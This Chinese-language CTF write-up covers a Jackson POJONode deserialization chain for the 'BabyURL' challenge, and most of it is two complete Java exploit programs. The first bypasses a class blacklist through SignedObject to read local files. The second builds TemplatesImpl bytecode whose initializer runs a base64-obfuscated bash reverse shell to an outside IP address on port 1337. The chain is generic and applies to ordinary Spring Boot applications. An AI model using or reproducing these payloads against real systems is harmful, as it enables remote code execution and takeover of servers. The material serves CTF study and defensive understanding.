目录
前言
分析
EXP
SignedObject打二次反序列化
打TemplatesImpl加载恶意字节码
前文:【Web】浅聊Jackson序列化getter的利用——POJONode
前言
题目环境:2023巅峰极客 BabyURL
之前AliyunCTF Bypassit I这题考查了这样一条链子:
BadAttributeValueExpException.toString -> POJONode -> getter -> TemplatesImpl
其实就是Jackson的原生反序列化利用
今天复现的这题也是大同小异,一起来整一下😋
分析
toString到getter的部分不作赘述,getter一般常见的用法分两种,打二次反序列化和打TemplatesImpl
结合具体题目去分析
先看pom依赖,就是给了一些spring依赖,众所周知,在 Spring Boot 中,通常自带jackson
再来看一下输入流,注意到ban了URLVistor和URLHelper两个classpath下的bean
URLHelper#readObject调用了URLVisiter#visitUrl,获取的结果写入/tmp/file文件
来看URLVisiter#vistUrl
visitUrl
限制了URL不能以file
开头,可以首字符用空格绕过,也可以用大写绕过FILE:///
,从而绕过限制,读取靶机本地文件
给了三个路由,反序列化入口点在/hack处,然后可以在/file路由读取/tmp/file路由的内容并回显
那么思路就很清晰了,我们要先利用反序列化让URLVisiter去读flag,再写入/tmp/file
问题是MyObjectInputStream将URLHelper和URLVister给ban了,这点我们可以用SignedObject打二次反序列化来绕过
EXP
SignedObject打二次反序列化
package com.yancao.ctf.exp;
import com.fasterxml.jackson.databind.node.POJONode;
import com.yancao.ctf.bean.URLHelper;
import com.yancao.ctf.bean.URLVisiter;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.PrivateKey;
import java.security.ProtectionDomain;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Base64;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;
public class EXP {
public static void main(String[] args) throws Exception {
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, (ProtectionDomain)null);
} catch (Exception var11) {
}
URLHelper urlHelper = new URLHelper(" file:///");
URLVisiter urlVisiter = new URLVisiter();
setFieldValue(urlHelper, "visiter", urlVisiter);
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(urlHelper, privateKey, signingEngine);
POJONode jsonNodes = new POJONode(signedObject);
BadAttributeValueExpException exp = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp, jsonNodes);
System.out.println(serial(exp));
}
public static String serial(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}
打TemplatesImpl加载恶意字节码
这个就和AliyunCTF那题一样了,不需要依赖题目自定义的类,简单粗暴
package com.yancao.ctf.exp;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.ProtectionDomain;
import java.util.Base64;
public class EXP {
public static void main(String[] args) throws Exception {
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, (ProtectionDomain)null);
} catch (Exception var11) {
}
byte[] code = getTemplates();//用javassist获取
byte[][] codes = {code};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", codes);
POJONode node = new POJONode(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", node);
System.out.println(serial(val));
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static byte[] getTemplates() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("MyTemplate");
template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjE=}|{base64,-d}|{bash,-i}\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception{
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
}